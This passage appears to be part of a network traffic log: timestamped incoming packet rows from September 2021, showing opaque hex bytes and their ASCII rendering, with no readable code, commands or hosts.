ae 4a 43 33 25 a4 0e ac e3 eb 0d 0d 14 4b 12 0b ec Data Ascii: m;UZ'UK`PT'q:_`Dg1F$s_S%?%]3tB.$/2CV 0=2Pyp"+#O&W8#iM7h"q?KX?# }u^M(gv)V $hg=0JC3%K
2021-09-24 19:53:40 UTC	39	IN	Data Raw: 2a 7d c2 cc 5e cd 8f 09 0b be 56 bd c7 23 d6 e3 e5 3d d8 a1 0d 18 d8 a1 e5 0b eb c7 51 a3 3f 27 a6 e6 d3 d9 0a af 21 a9 8f 70 b7 ca ef 43 1a d7 2f 1b 39 a5 99 35 c4 9c f0 1d 6f 35 fb c8 49 e7 12 e8 26 13 2a b1 f7 1a 43 c9 1f 81 fb 4c e8 5d e8 87 5b 96 32 56 0b 89 83 07 13 d8 e6 a6 5d 5e 54 60 73 7e c4 1c 63 03 36 2a 98 0f ad 27 eb 9c 7a a7 3e 0b e7 de 79 1d 92 41 fe 2b 69 7e 9a 4b 20 ea bc 7d 1b e4 66 7c 8b a9 4f f5 d5 c2 19 ad 6a a9 c4 04 18 64 d8 c8 7c 92 28 f6 fa 6c 5f 58 95 98 10 2a 6c a4 09 01 80 8a 4c c3 73 e1 8f f9 b9 11 1f 61 15 30 82 c7 3d 52 07 48 7e 62 65 92 72 39 ba 31 46 41 b3 09 37 9b 61 9e 27 0f 53 c2 b4 c5 07 71 d8 1d a3 a2 48 22 75 23 20 64 40 ea 79 d9 50 5a 1f 71 b9 33 bc 9e 41 eb f3 fb bc 5a 40 68 5c be 78 eb 1f 1c ad 76 4e 4b d4 bc 11 Data Ascii: }^V#=Q?'!pC/95o5I&CL][2V]^T`s~c6'z>yA+i~K }f\|Ojd\|(l_XlLsa0=RH~ber91FA7a'SqH"u# d@yPZq3AZ@h\xvNK
2021-09-24 19:53:40 UTC	40	IN	Data Raw: 79 c4 58 bf 0f 8b da 0a e4 07 2b ff 0a 23 7f 05 c5 74 e1 d9 57 c7 c9 85 60 22 f4 66 a0 9b fc ec 04 4a 97 ae 20 6f 3d 29 18 c9 ce 7a 1e ba 04 03 f1 07 62 1b f4 fa da 8a 36 b3 40 09 c4 7d 66 4e 64 e2 0e fc 43 fb 4c 53 76 2f 74 f4 ec 08 d7 4b 24 00 77 62 83 1e 4c d1 ef 60 05 89 0e ae 4c 65 10 3a 89 04 8a b7 e8 0d 0a 2f 5f 11 0b b7 ea 79 1a e4 b1 a6 be 44 f2 71 8b bc 26 56 26 1d 56 ee 60 a3 db 86 2f 81 9b 55 55 31 5e 62 66 ee d6 1c bd 5d bd ca 5b 70 b6 ec 30 9d a8 29 62 6b a6 ce 60 92 f9 40 14 2c 99 cc b0 fc 0f 89 4f 33 06 c7 7a eb b5 f4 23 f7 44 fe 00 82 bd 8f ad 58 99 b5 43 e0 19 d8 c7 e8 b3 1c d6 85 d4 32 1b e6 3b 2a 3b a2 31 8b b4 0a 31 f2 b1 0f ee 46 57 c8 a2 d4 d0 e6 3e a2 f0 d3 68 41 0c dd 2f b0 ba d3 e0 6f 55 8f aa c8 d5 c4 0d b3 2b bb 41 53 02 48 33 Data Ascii: yX+#tW`"fJ o=)zb6@}fNdCLSv/tK$wbL`Le:/_yDq&V&V`/UU1^bf][p0)bk`@,O3z#DXC2;*;11FW>hA/oU+ASH3
2021-09-24 19:53:40 UTC	41	IN	Data Raw: 2a c3 06 3a 6b f2 e0 0e b9 0c f0 95 fe 31 94 9f 89 10 23 56 89 7c 13 85 9a 9a 55 5e e2 92 fb 95 39 78 67 0a 26 13 5e 10 50 26 5c 4c c8 b2 45 fa 3c d5 e4 6e d6 b8 23 23 91 78 b2 5f e4 52 c4 db 05 06 71 c3 0e 81 09 61 0a 0a 2b 53 d8 68 7d 72 d3 5d 24 e5 59 c3 3a af 96 38 60 ff c3 08 4a 4a 7a 64 98 12 e5 85 17 8c c9 7e 4b de a7 15 28 5d 8b 97 ca 2d 7a 76 69 30 20 2b 74 e8 c9 5c 97 9c 20 88 68 8a 80 36 dc 12 a9 aa 92 bb 0b c4 31 7d 62 ff 55 2e 86 50 1f 3a d6 72 a7 2a 40 86 f5 6d 08 37 f1 34 45 ea 2e c6 ba fa 2c c2 4f 7f 92 a7 aa 8a cf 06 6a c2 f8 a9 4c 32 ab 66 d4 7f 32 31 ae 45 94 3a 2a 5f 92 04 ee 98 e1 4e 08 8e 8a 05 53 56 99 62 55 41 f9 32 96 c8 dc 74 7a 81 b1 81 52 f1 96 a8 e4 a8 97 74 a2 e1 c6 f6 c0 3c 14 3a 54 00 da ef da c7 1a 86 27 c4 15 30 92 90 15 Data Ascii: :k1#V\|U^9xg&^P&\LE<n##x_Rqa+Sh}r]$Y:8`JJzd~K(]-zvi0 +t\ h61}bU.P:r@m74E.,OjL2f21E:*_NSVbUA2tzRt<:T'0
2021-09-24 19:53:40 UTC	43	IN	Data Raw: 58 b0 ba 26 8f b7 ca 11 23 8d 28 64 04 19 c0 73 9d f4 4b 02 39 94 23 bb cf 11 7e 5f 1b 81 48 2d e4 aa fa 2f e4 57 e5 05 8c be 6e b8 8a 91 88 56 ef ab 71 d9 e2 aa 95 e9 94 d1 2e f6 e2 08 3a 3e a5 2f 89 bb 15 36 09 ae dd f4 6c 81 5f 6e cb d8 dd 2f a2 e1 dc 5c cb 0c f1 2e 9a 83 59 e1 65 4c 99 b1 c2 d5 cb 0d b3 24 bb 46 53 02 48 2a b9 11 78 4e fb 59 6b 3d 56 fc c7 14 46 e9 c2 a7 8d 6d 21 c0 f4 89 82 00 01 54 51 9f 8c 9d 7c 45 f4 68 d8 46 75 69 33 90 7c 89 36 4e 49 f1 5e e0 52 2e a5 ca 62 2c 5b 8c a6 89 e8 29 76 be 63 be d9 ba a5 7c cb 59 11 15 89 ec ac 69 ff 52 9e 02 32 54 ed 3b 6e cd 40 f4 c8 94 f6 19 97 42 b0 fc 06 d6 f2 e5 0e 2c 43 1f 31 d1 88 4b 16 15 c6 62 ba 2e 05 2c f6 d9 cc 15 55 3d 96 98 61 a3 e7 44 48 e4 dc 8f 21 3f ad b0 38 c2 83 fb 26 41 35 ea c8 Data Ascii: X&#(dsK9#~_H-/WnVq.:>/6l_n/\.YeL$FSH*xNYk=VFm!TQ\|EhFui3\|6NI^R.b,[)vc\|YiR2T;n@B,C1Kb.,U=aDH!?8&A5
2021-09-24 19:53:40 UTC	44	IN	Data Raw: f5 4e 37 92 6f 26 42 ba fa a0 02 d1 90 2f 74 09 0d ec 63 1a eb 2e cc bd ec 35 dc bd 0d bb b4 a7 dd 33 04 6a c4 e3 73 17 35 ba 6e d4 09 31 31 a2 02 6a 3a 2a 53 a9 1e ff 9e ff a3 07 8d 81 6a ce 39 8c 68 43 63 ff a5 97 c2 c0 98 79 c9 04 a5 43 fe 6a c3 cc ef 97 5c bc f0 c1 ed e1 14 76 39 5e 6c 63 4d d8 c6 1c e3 b3 ba 67 3b 83 9f 2e b9 04 a6 cf 70 9e 4e 5b f1 1e 24 f2 1f a7 6c 4c ae 85 79 9f a9 a3 1e 98 b4 72 eb 7c d2 c8 51 fd 6c c0 28 e8 29 50 9c a8 cf 80 cb b0 95 0a dd 8c 99 8a b6 cc 50 37 14 f8 0c 7b 11 bb a0 04 f7 e7 d2 a8 8f 32 f3 c0 e0 07 c2 e0 f1 ab 53 f6 a7 b3 78 7a 8e 57 c6 58 ef 1c 08 df 05 d0 35 1c ff 0b 32 5c 0c ed 71 e1 d9 5d 39 c9 94 78 37 0e 7c ab e5 3c fd 14 7e b1 62 dd 84 06 0f 98 1f dd 7e 27 f3 14 0c 75 b2 32 2b 0a 05 2f 98 0a 9b d2 08 c5 6b Data Ascii: N7o&B/tc.53js5n11j:*Sj9hCcyCj\v9^lcMg;.pN[$lLyr\|Ql()PP7{2SxzWX52\q]9x7\|<~b~'u2+/k
2021-09-24 19:53:40 UTC	45	IN	Data Raw: 48 4c 5b 2c 88 88 56 1a 44 43 36 c2 f3 5e 3e 81 cf 71 12 ad 5a 2d 77 f9 32 49 79 70 af c2 b8 b1 71 5c fd 24 73 66 19 4c 61 2b 53 b2 13 35 60 49 3a 6e c7 52 4f c3 3d f7 18 88 5d bf ee 0c d6 ce ee d6 c9 bc 11 07 d8 b0 e1 04 25 c0 7d 36 3d 0f 2c d2 d3 d3 08 bd 2f be b2 ff a6 cf f0 48 f5 d2 1b f0 3e 81 a1 29 49 2b e1 ef 5c e3 76 e9 26 2b 13 e2 35 1f 22 a2 e3 1e 45 32 00 53 f9 78 f2 61 8e 69 a0 74 d3 5e 34 8b 8b 1f 27 fa 06 b4 75 57 36 d8 69 80 cf 3a 7f 3b dc 31 9a 0e b2 3f 11 84 a8 af 03 04 f8 46 fb b5 8f 88 f6 27 62 68 81 45 cf ef 8c 85 31 f3 7e 7b 8f 7a 43 f9 c3 dc e7 bd 42 a6 3c 07 1c 6b dd c0 78 b2 9d f5 f2 65 be 23 c8 09 7b ad 63 b2 0d 10 94 98 a4 3c 5e ce 9b fd af 15 0e 75 0e 3e 82 c7 3d 52 07 48 7e b6 64 92 72 39 ff e2 46 5a 89 26 29 a7 53 9a 27 81 52 Data Ascii: HL[,VDC6^>qZ-w2Iypq\$sfLa+S5`I:nRO=]%}6=,/H>)I+\v&+5"E2Sxait^4'uW6i:;1?F'bhE1~{zCB<kxe#{c<^u>=RH~dr9FZ&)S'R
2021-09-24 19:53:40 UTC	47	IN	Data Raw: f8 25 41 a6 c7 fb ce cb b8 9e 06 cc 86 ed 9e b7 cc 0a 26 18 e9 54 14 37 a8 d3 b8 e6 eb f0 2d 8a 4c da ae ca 01 ea f1 f5 ba 59 b1 eb b1 78 76 8e 61 c6 58 ef 60 c8 01 0a ff c3 25 da 23 0f 4f 01 cf 45 c9 e1 57 e7 c3 5b 71 26 a6 40 a3 f4 31 c4 13 42 81 9b 0a 22 14 01 89 e1 d7 72 36 fb 6a c5 fb 05 07 5d fa df f8 a9 20 9b d8 05 ec 4f 09 58 6f 3c 04 f0 b7 f4 78 64 76 2f 7e e6 e6 3c cd 4b 2a 10 a9 62 84 34 4c e1 ef 7d 59 89 00 b4 4c 6b 11 3e 94 07 84 f1 e8 0d 0b 62 6f 12 1a 95 51 79 1a b5 bb a0 d1 62 e0 74 b7 d6 30 54 26 1b 6f b0 7c ac 23 af 1b 89 e8 ef 3a f7 54 48 73 20 cb 3c 95 7b b8 d5 5f 82 9f f8 39 a5 84 f6 62 6d c7 f1 72 97 fd 79 06 31 94 34 99 8b 07 80 58 1f 91 72 48 e0 c5 3c 30 f2 4e 31 0b b8 9c 46 ac 74 9a a9 6f d1 83 d4 d2 3c a0 1f fc 95 cd 2f e5 e7 17 Data Ascii: %A&T7-LYxvaX`%#OEW[q&@1B"r6j] OXo<xdv/~<K*b4L}YLk>boQybt0T&o\|#:THs <{_9bmry14XrH<0N1Fto</
2021-09-24 19:53:40 UTC	48	IN	Data Raw: dc 73 74 a1 a3 7b 10 39 45 0e 0b b2 24 02 f2 de af 2f 05 81 cd 74 02 92 41 fe 03 d6 78 85 43 ad 6f 91 7b 3a d7 68 76 b0 37 4f e4 da f0 48 af 46 bb ea 9d 30 7a d1 e0 e6 ba 0c fc d2 f3 30 94 9f f7 af 30 7f ab 66 97 84 9c b8 d5 30 6a 99 ea b6 7e 87 65 0a 2a 6f c2 19 41 29 65 dd da 9b 67 a5 95 d6 e2 40 69 22 23 29 8a 79 06 27 e7 58 c9 b3 b5 36 71 c9 15 b2 cd 48 22 73 2f 20 53 41 ea 75 c0 59 eb d8 54 91 0e af 90 5d eb f1 c5 0f 73 78 68 4d ba b4 5c 85 11 a4 4f 71 63 7f b5 3c 06 4e 0f 96 cc 44 cf 75 6f 10 27 30 68 ae 69 20 94 9a 31 7a ec 9c 93 2c f5 b7 81 d4 91 aa 03 ba b9 6b 0d 7c 45 24 92 6a 26 54 db 63 b1 18 b8 0e f4 67 1f 0d f6 4a d3 fa 3e d5 c3 62 25 d5 93 7f aa a5 b0 9a 36 04 6a c8 dd 31 17 21 83 e8 fd 6b 38 1c 9b 7c f2 13 a5 54 ba 1f c3 ae 98 7f 04 9c 81 Data Ascii: st{9E$/tAxCo{:hv7OHF0z00f0j~e*oA)eg@i"#)y'X6qH"s/ SAuYT]sxhM\Oqc<NDuo'0hi 1z,k\|E$j&TcgJ>b%6j1!k8\|T
2021-09-24 19:53:40 UTC	49	IN	Data Raw: b9 b5 02 99 bb 74 1c 0d 22 79 8e 1a e0 f4 70 0c 23 a0 a0 b0 58 f7 e8 a2 f8 38 5d 30 81 56 ed 60 a0 33 1b 12 8d f7 e4 43 ad 45 4e 66 f0 d3 85 ac 4a a7 da 43 12 a6 c6 32 d6 a3 29 62 61 b4 c8 64 f8 d3 50 11 39 9d 25 de f9 05 80 54 3e 8b 77 27 21 ab fa 3a fe 6c 78 05 9d be 79 b8 5c 2d a7 47 ef 9a 59 df e2 a0 18 c5 93 c0 28 f3 e5 b5 3e 2a b8 39 14 8e 0a 20 f6 0d e0 e8 72 53 6d d9 47 e6 f5 3b a3 43 c7 73 ac 05 e0 2c a6 86 40 6c 40 5f 9c af c6 cf d0 04 b4 39 38 5c a4 14 72 a7 ae 30 c6 59 67 42 ee 3e f5 fc c6 0d 52 ff d8 24 ab 4c 21 c2 fd 0e 54 10 2d 5d 63 b4 9f 9d 7c 41 c2 6f d2 46 6e 4b 18 89 82 82 6e 47 4f 21 0f 1e 59 2f 8d aa 70 2c 51 bf bd 9e e9 23 54 bc 67 af d7 bd 88 dd d1 4a 1d 02 15 e1 b3 67 00 40 ba 02 3c 6a 56 2a e2 f8 cc 4f c9 36 e6 02 86 49 ab c7 af Data Ascii: t"yp#X8]0V`3CENfJC2)badP9%T>w'!:lxy\-GY(>9 rSmG;Cs,@l@_98\r0YgB>R$L!T-]c\|AoFnKnGO!Y/p,Q#TgJg@<jVO6I
2021-09-24 19:53:40 UTC	50	IN	Data Raw: 0d 10 85 00 c5 43 c9 12 56 e7 c3 ea bd 21 d8 65 b1 f2 3c c4 98 40 81 97 0a 6d 15 01 89 da c9 61 31 d0 02 05 f0 d8 64 81 f4 fa c6 8f 26 8c 08 1b d6 64 02 60 5c e0 04 f6 8c fd 4c a6 75 2f 78 c8 27 23 ef 4d 35 01 81 9f 85 34 4a c6 62 3e 15 89 0f bd 5f 7a 03 33 bb 09 19 bc fb 62 42 3d 6f 18 18 ea fa 75 0c 25 bd b7 a3 45 7b 67 b6 8d d1 57 26 1b 54 e2 6e a5 34 8b 19 11 c0 8f 54 31 5e 27 8e ff c5 1f ae 41 a9 d8 41 a6 74 c3 39 a3 99 a5 65 6b b9 c0 60 83 e8 45 07 25 18 0d b1 d0 05 22 4f 23 9c 64 5c ce 09 fa 30 f8 50 c7 c6 9e b4 77 bb f9 97 a4 47 e8 90 c1 c9 f7 b6 0e 5a ab d1 2f e4 45 06 3a 39 bb 3b b0 12 0a 20 fd bb d9 2c 69 51 e5 79 46 de f5 3b a3 f2 c0 65 a9 1b e6 a8 8d 92 59 e0 cd 4e 8a ba c1 d2 e9 ae a2 2e ae 59 85 c7 67 3b b9 2f 53 48 fb 53 e6 02 42 e8 ee a4 Data Ascii: CV!e<@ma1d&d`\Lu/x'#M54Jb>_z3bB=ou%E{gW&Tn4T1^'AAt9ek`E%"O#d\0PwGZ/E:9; ,iQyF;eYN.Yg;/SHSB
2021-09-24 19:53:40 UTC	51	IN	Data Raw: 63 2e 6a 94 b4 28 39 7d a8 13 7f 6a 9c b2 c8 40 f2 b0 c5 bd 11 04 67 0c 37 13 29 11 50 26 65 93 db 9b 67 ec 17 06 e3 46 4b 91 f7 28 80 5b b2 03 e7 52 c8 b8 82 0e 62 cc 1f 9a 1e 52 dc 72 04 5c c8 42 85 ba d3 57 3f db ab aa 3d a2 8b 44 fd fe d2 07 44 49 96 4c 9c 61 e0 92 c7 ae 41 75 58 d1 b6 2d 05 39 76 96 e0 4b ca 59 6b 3a 37 2d 7f d2 e4 21 85 99 39 aa 01 8a ac 34 c4 21 57 d9 8e b0 1e ae a9 6d 67 ee ba 25 b8 7c 1c 5c c9 61 a4 02 c6 82 ec 99 18 32 e0 4d d7 f1 3d c9 ac fa 21 ca 9e 92 b9 98 ad bb a8 01 54 87 0f 86 f9 2d a7 74 f9 6b 23 34 b3 93 e1 17 29 4d a9 10 ee 89 ee 4b f8 9d ab 17 4a 2a 89 62 44 4e ce a9 69 c9 fa 64 53 ac 10 86 ad 04 b9 ea ce bb a6 58 b6 05 c7 fc e8 53 15 3a 4f 7c 1f cd e1 16 1b 8c 2b ba 76 3b 8a 64 07 22 0f be 44 76 98 5f 50 ca 94 3c e1 Data Ascii: c.j(9}j@g7)P&egFK([RbRr\BW?=DDILaAuX-9vKYk:7-!94!Wmg%\|\a2M=!T-tk#4)MKJ*bDNidSXS:O\|+v;d"Dv_P<
2021-09-24 19:53:40 UTC	52	IN	Data Raw: 61 cd d3 73 97 e2 42 19 21 9c 23 b9 5e b3 97 84 1f 8e 70 48 cd bb fd 21 fa 6c 0f 05 9d b2 62 a5 07 b2 a6 47 ef 90 de c9 e8 b1 1c fe 4a d1 2f e3 88 3f 2d 2d a9 3e 92 a0 01 4f d3 ad f1 e9 7b 5b f2 67 a4 ff f7 3b a4 f0 dc 5c 62 0e f1 22 dd b8 5b e1 69 81 90 86 e2 c6 c1 07 8a 16 a4 4d a7 dd 64 2a b2 2e 08 5c f6 42 ea 07 58 72 71 38 70 09 31 4b 59 78 15 e2 dc 94 7c 0b 3e 51 1a de 8d 9d 76 51 c2 43 d2 46 6e bd 2e 8e a8 8f 30 14 03 21 14 e0 52 2f 8d d8 62 2c 51 bf d2 88 e8 02 5e af 63 aa d3 a9 a0 79 d2 4a 1a 15 98 e6 b3 38 01 53 b2 ba 34 7c 49 32 6f c7 cc 43 c8 94 f7 10 92 5d be ef 0c d6 e3 e9 11 3d bd 3f 1c d8 b0 c7 16 15 c6 68 a8 3d 0f 36 e7 d3 d2 0a 9b 3f ba aa 71 a6 cf 82 48 e4 c7 15 1d 38 95 4e 2b c7 9c f6 24 4c 2c 05 c3 0a 20 14 ea 04 d3 26 a2 f4 11 48 df Data Ascii: asB!#^pH!lbGJ/?-->O{[g;\b"[iMd*.\BXrq8p1KYx\|>QvQCFn.0!R/b,Q^cyJ8S4\|I2oC]=?h=6?qH8N+$L, &H
2021-09-24 19:53:40 UTC	54	IN	Data Raw: 87 f7 67 19 1e b3 5b dd eb 64 cd ac eb 84 d4 95 6c ae b4 a1 b2 b9 05 6a c2 f0 79 06 32 ad 67 fc 6b f1 30 a4 6d 29 3a 2a 55 af 15 ee 98 f1 5d 06 9d 9c 24 58 39 e4 63 55 4b a4 a5 97 d9 a5 dc 78 a9 22 8a 7a 15 45 e2 e2 a4 e8 60 b6 e1 cc f4 87 8c 14 3a 54 67 05 a8 68 c7 1a 86 38 b6 71 22 99 a2 13 0f 04 a6 d8 6f 89 54 cb ca 95 2c e3 11 e5 9f 5c a5 a7 e5 9b b8 ac 1e a7 78 81 c7 4a a1 fb 56 d5 85 d0 24 ff 4a f3 97 c7 ed aa 57 b6 84 0c df 81 e7 a8 9c 43 57 26 12 c5 0f c9 e3 b9 a0 02 f7 ee d2 d7 8f 32 f3 c0 78 04 c2 ec df 26 5f 99 b8 a1 72 61 ac 68 c1 70 7e 0c 0e 07 65 47 1c 2b f5 23 a4 4f 01 cf 58 e7 f1 24 e6 c9 83 62 27 c9 6a 8a 05 36 ec 02 2f 33 9c 22 71 3f 9d 8f c9 c4 63 3e ec 03 2b 1e 06 0d 85 e5 ff f8 6c 23 9b d4 20 37 74 09 5e 0a 3d 05 f6 97 dd 57 65 76 25 Data Ascii: g[dljy2gk0m):*U]$X9cUKx"zE`:Tgh8q"oT,\xJV$JWCW&2x&_rahp~eG+#OX$b'j6/3"q?c>+l# 7t^=Wev%
2021-09-24 19:53:40 UTC	55	IN	Data Raw: 6e e5 10 2b df 62 2c 4e 8c c1 9a e8 32 4c b6 9d bf ff a0 d3 d9 d2 4a 11 1f 82 f5 a1 67 10 41 ad 19 ca 7d 65 3c 45 12 d3 44 db 86 f7 1b 80 42 9c 11 0d fa ee fe 19 2c b8 71 3b da b0 e6 08 31 d5 6f a8 2c 1d 33 c5 2d d2 35 a6 2d b2 9b 76 c9 eb f2 48 e2 c9 20 1d 2d ad a0 39 d9 62 f7 19 4c 3c e8 cc 39 22 01 fa 2c 1d 34 bd fe e4 53 e0 1c 6e fd 77 6c 3a 8e 78 a5 7a 22 4e 17 9a 9c 2d 8b d1 17 c8 38 56 27 d6 60 77 d1 1b 69 02 33 3b 9b 15 a3 d0 14 b1 4b bf 24 18 63 1b 75 02 99 41 f4 3a 77 6d 9a 78 43 fa 9f 14 79 de 79 79 8b a6 50 f6 c3 ca e7 bd 54 a2 d2 f8 31 56 d0 d9 6b ab 1c 6c e9 6d 2f 85 86 8a 1a 20 6d be 15 ee 84 b0 ab d3 55 f4 02 c2 03 13 0e 62 1c 08 52 c6 11 5a 3a 0d 1e 24 64 92 92 22 c6 f0 46 50 ab 3e d7 81 7d 91 36 e3 7a 7f b5 9d 0d 7c d7 0c 99 1b 59 30 6c Data Ascii: n+b,N2LJgA}e<EDB,q;1o,3-5-vH -9bL<9",4Snwl:xz"N-8V'`wi3;K$cuA:wmxCyyyPT1Vklm/ mUbRZ:$d"FP>}6z\|Y0l
2021-09-24 19:53:40 UTC	56	IN	Data Raw: 90 20 bd bd dd 5f 37 0b d7 a9 e9 c8 46 7e 17 c3 c3 cd 27 8c 38 e6 bd b9 bf c2 e6 fd b7 77 a1 b2 b2 72 ae a4 7f ee 51 c3 0f 4f 1d 0a f5 1d 2b ff 0b 19 4f 01 c5 8c e3 d9 57 01 cb 85 71 35 d8 6f a2 ee 35 ec 05 5b b1 9a 22 f8 15 01 8f b3 ce 70 27 8e bf 03 fb 0f 07 ab af fa d0 98 4f 7f d3 08 ce 64 0d 26 59 e2 04 fc 90 dd 4a 66 76 29 72 9e da 20 ef 41 0c 07 ad 62 83 5b fc d0 ef 6b 18 80 61 1f 4d 6b 1a 36 a1 0d eb 92 e8 0d 01 2d 6a 01 1d f0 f8 6c 22 aa b3 a6 af 43 f7 65 a6 64 34 59 0e 13 43 eb 79 bd 2a af 27 8b e8 e3 7d 3e 50 48 7f d6 eb 1b bd 4a 90 30 54 8e bd e8 a5 a5 8e 22 71 67 a8 cd 1c 73 f8 51 1b 20 93 23 bd bf cd 80 5e 3d e4 53 48 e6 aa fa 30 f2 54 af 5e b5 25 71 ac 7e 27 b3 91 64 96 d4 d8 e3 b3 14 fd d2 c0 3f f4 e0 00 07 cb ae 2f 92 ab d0 0f db be fc fe Data Ascii: _7F~'8wrQO+OWq5o5["p'Od&YJfv)r Ab[kaMk6-jl"Ced4YCy*'}>PHJ0T"qgsQ #^=SH0T^%q~'d?/
2021-09-24 19:53:40 UTC	57	IN	Data Raw: 27 7a 88 57 ae 25 d1 e1 61 5d 35 98 52 f1 38 72 53 bd 45 de e1 4e 7b ee ca 5c 5b af ac 4f ee c3 d3 94 16 46 bd c8 0d 18 42 db c8 70 64 0e f0 d0 61 1a 94 95 98 5b 05 7f a1 09 10 85 9c 09 c2 5f e2 dc ea bc 11 f1 64 0a 20 73 c6 11 50 36 4d 46 db 9b 6d 8d 3f d3 e2 46 41 b3 22 29 80 41 9b 27 e7 47 c2 b4 9d 1d 71 c9 1e 90 2b 4c 22 1c 2a 53 de 3c ea 73 c2 24 8f cc 71 b3 33 87 be 55 f8 f8 cf 71 40 41 68 4b bb 41 c7 81 11 a2 76 5c 4b d4 bc 14 22 25 88 91 e4 66 e2 77 63 12 00 21 66 cb cd 3d 93 b4 07 a4 ff 8d a8 1f cd 3b 8b fc b3 bf 0d ad 81 58 62 f5 4e 4b 88 78 37 43 fe 74 d2 b8 d7 87 ff 4d 1e 71 52 5a dd e1 41 74 ad eb 2e c6 9c 54 5a b5 a1 b2 ab 0c 42 7b f1 79 0c 21 af 14 de 69 32 37 b7 68 e7 2a 2e 3a 00 14 ee 92 84 23 07 9c 8d 7b 22 38 8c 68 46 41 e9 c7 96 c8 d6 Data Ascii: 'zW%a]5R8rSEN{\[OFBpda[_d sP6MFm?FA")A'Gq+L"S<s$q3Uq@AhKAv\K"%fwc!f=;XbNKx7CtMqRZAt.TZB{y!i27h.:#{"8hFA
2021-09-24 19:53:40 UTC	59	IN	Data Raw: e7 eb 73 09 b9 a0 a0 bb 7a c9 70 b3 f8 30 db 21 1d 47 ea 6c a4 34 8f 15 f5 8c e9 55 35 f6 59 71 ea d1 31 75 4d b8 df 44 88 a3 e8 10 a1 8e 2e 75 e6 be c1 73 96 ea 59 00 3b 82 25 3d 5b 04 80 5f 95 99 78 5c f2 82 32 31 f2 4e fe 03 89 9c 5b a8 74 96 b3 ca ee 83 d4 d9 f1 a8 08 de 82 af 4a e5 e7 13 8d 3c a7 3b 8c 99 c2 21 f7 a5 e0 e9 7e 79 c8 6a cb df e2 b6 a5 e1 d6 75 ac 05 e0 2c a4 85 d5 6d 6f 5f 9d 0c c4 ce d5 19 8a e6 a5 4d a7 12 62 2f 97 15 da 4f fd 45 6a 11 56 fc c7 13 57 e2 e6 17 87 6d 3a be 66 94 7c 00 3e 58 78 61 84 8b 75 d4 5d 14 fe 47 64 69 20 a0 15 88 1a 5f 47 4e 02 e1 52 25 9e da 73 28 79 38 d2 88 e2 28 80 be 46 96 e4 a9 a0 69 c1 4d 0f 1e b0 de b3 67 0b 8d b2 14 1e 7c 49 3b 7e c7 cc 4f c8 81 f7 d4 61 5d ae f5 0c d6 e2 f4 21 3e bd 17 1c d8 b0 96 17 Data Ascii: szp0!Gl4U5Yq1uMD.usY;%=[_x\21N[tJ<;!~yju,mo_Mb/OEjVWm:f\|>Xxau]Gdi _GNR%s(y8(FiMg\|I;~Oa]!>
2021-09-24 19:53:40 UTC	60	IN	Data Raw: 2d 08 4e 9d 96 cc 48 3c 22 1a 18 33 21 60 d2 e8 30 9d b4 71 a2 ff 8d ef 14 cf 3b 87 c5 98 aa 0a c4 8d 7e 62 f3 55 2d 85 7c 1f 47 d4 72 a7 6d f1 85 f5 61 08 17 cd 18 d9 eb 28 a3 86 e9 24 d3 92 7d b1 db b4 b3 b9 0f b4 d7 d5 51 31 32 ab 6d ef 61 41 8b a4 6d ea 37 02 6d ba 15 e4 46 e9 5a 2c 94 ad 14 5d 39 cd 7e 55 4b d1 a5 97 c8 c4 66 78 a9 3e 81 52 fb 6e e3 e4 a8 83 5c b6 e1 dc fc e8 3d 06 0a 5a 6a 38 c6 d9 c6 9b 8c 2b ab 71 22 99 a2 94 0e 04 a6 c9 72 93 46 af d8 bd 2c da 3b 88 2f 5b 8f b7 e5 95 a9 b8 38 ba 5b 75 eb 44 a3 85 9a fd 6a d9 3e a4 33 6f 80 de f4 89 cb a7 8f 11 32 86 da ad ac df 5d 26 09 e2 10 ea 36 95 e3 22 e6 ef fa 27 01 19 f5 af cb 0f d4 ea e1 b7 67 0b b2 b2 78 66 b5 7e d2 4b e0 0d 07 6e eb f4 1d 21 ec 03 31 58 d7 c8 61 a5 dd 57 e1 d8 8d 1e cb Data Ascii: -NH<"3!`0q;~bU-\|Grma($}Q12maAm7mFZ,]9~UKfx>Rn\=Zj8+q"rF,;/[8[uDj>3o2]&6"'gxf~Kn!1XaW
2021-09-24 19:53:40 UTC	61	IN	Data Raw: 03 75 39 de 4f fb 42 e1 0d a8 fd ea 0b 52 f2 a1 7d 87 6d 3a d9 ee 88 6f 07 2d 4c 6f 7c 73 9c 50 53 c2 55 d0 46 62 68 35 9b 84 88 0b 53 56 df 15 cc 54 2d 9e da 78 3f 57 a4 c3 8e f2 dd 5f 83 66 a8 de b2 b3 65 d2 5b 1d 0a 91 18 b2 4b 09 5a a5 c5 39 63 43 29 68 c7 dd 49 d6 6a f6 26 8f 5a b7 c7 ee d7 e3 e5 09 5c 95 cd 1c d8 ba c8 c3 14 c6 77 80 19 0f 2c ed d8 cc 10 b8 3a ba 9b 76 bb 31 f1 64 e8 c7 07 07 50 4c b0 2b cd 90 e8 26 4d 35 ea c4 3a d5 13 c4 29 27 31 bf e1 1c 52 dd 07 68 04 61 cd 66 96 6b a2 69 3c 59 07 86 7d 17 3a c9 11 b6 74 65 e9 c3 78 6d c8 16 6b 16 25 d4 88 26 b1 39 06 9b 56 bf 29 10 e5 ba 74 2e 9a 79 fe 13 49 84 7a ba f6 ac 91 7b 3a f7 3e 72 98 a6 48 cc b6 d9 e7 a6 29 ab c3 06 3a 52 bd c9 7a b0 63 e0 fb 66 3a be 95 83 2a 35 7f 3c 08 10 85 19 b2 Data Ascii: u9OBR}m:o-Lo\|sPSUFbh5SVT-x?W_fe[KZ9cC)hIj&Z\w,:v1dPL+&M5:)'1Rhafki<Y}:texmk%&9V)t.yIz{:>rH):Rzcf:*5<
2021-09-24 19:53:40 UTC	63	IN	Data Raw: 9a 1f 03 b9 e9 43 67 5f 51 d9 0d 34 f5 0a ab 39 c1 b4 aa e9 bc bf 35 22 a5 ba 57 d1 d6 b0 ed 4c d9 4a 53 24 f9 25 dd 87 c0 f8 a7 dd 2a 95 01 d3 a1 d6 2e b4 cc 56 ba 09 ee 15 33 21 25 b1 05 f9 c3 da a7 8c 32 f5 33 db 02 dd cf d7 3a 5f 99 b2 2e 69 77 b9 53 d2 c4 f8 08 11 2a 1c 69 0c 2c e0 27 2e d3 10 c2 56 cc f9 d7 e7 c9 85 ed 31 df 70 8c d4 ca ec 04 40 1d 8c 25 64 38 17 13 d8 c9 6f 06 dd 85 03 fb 05 91 92 f3 e5 e1 88 bc 8a d5 17 f6 57 f6 58 65 e2 98 e7 9a ea 57 72 ea 3e 79 ff d2 00 6f 4b 24 0a 35 73 82 2b 79 f1 6f 61 15 89 92 bf 4b 74 26 05 24 04 84 ad 74 